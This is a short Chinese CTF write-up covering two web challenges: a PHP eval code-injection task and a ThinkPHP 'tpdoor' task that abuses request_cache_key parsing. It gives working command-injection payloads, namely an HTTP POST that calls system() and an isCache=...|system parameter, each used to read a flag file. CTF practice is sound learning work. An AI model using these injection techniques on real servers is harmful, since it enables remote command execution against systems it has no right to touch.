西瓜杯CTF(1)

#下班之前写了两个题,后面继续发

Codeinject

<?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);");

payload 闭合后面的括号来拼接

POST / HTTP/1.1
Host: 1dc86f1a-cccc-4298-955d-e9179f026d54.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

1="whoami");system('cat /000f1ag.txt'

tpdoor

#原来CTF还可以这样做

首先下载官方提供的部分源码

发现isCache是可控的参数 另外这是thinkphp的源码,要想获取flag根据有限的源码是没有看到什么漏洞可以配合参数进行利用的,那么这里的考点就是thinkphp的漏洞了,iscache是可控的,那么看看thinkphp的源码

全集搜索request_cache_key

在这个config参数中有request_cache_key

再看这里也有个request_cache_key

getRequestCache给key赋值了并且return 如同最终key传到了parseCacheKey中

看看这个函数如下 将$key以 | 分隔开 | 后面的所有fun key作为参数值 构造payload:whoami|system

读取flag的payload:isCache=cat%20/000f1ag.txt|system

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-09 19:30:04       53 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-09 19:30:04       55 阅读
  3. 在Django里面运行非项目文件

    2024-07-09 19:30:04       46 阅读
  4. Python语言-面向对象

    2024-07-09 19:30:04       56 阅读

热门阅读

  1. go语言hassuffix的简单使用

    2024-07-09 19:30:04       28 阅读
  2. Vim常用整理快捷键

    2024-07-09 19:30:04       23 阅读
  3. Elasticsearch 分析器(Analyzer)的作用和配置

    2024-07-09 19:30:04       18 阅读
  4. html5 video去除边框

    2024-07-09 19:30:04       16 阅读
  5. 机器学习模型运用在机器人上

    2024-07-09 19:30:04       21 阅读
  6. 在网站存在漏洞的情况下强化安全防御

    2024-07-09 19:30:04       21 阅读
  7. 驱动开发系列-如何与硬件通信

    2024-07-09 19:30:04       24 阅读
  8. 计算机网络笔记分享(第六章 应用层)

    2024-07-09 19:30:04       31 阅读
  9. QT配置opencv

    2024-07-09 19:30:04       27 阅读
  10. 如何高效学习(二)

    2024-07-09 19:30:04       30 阅读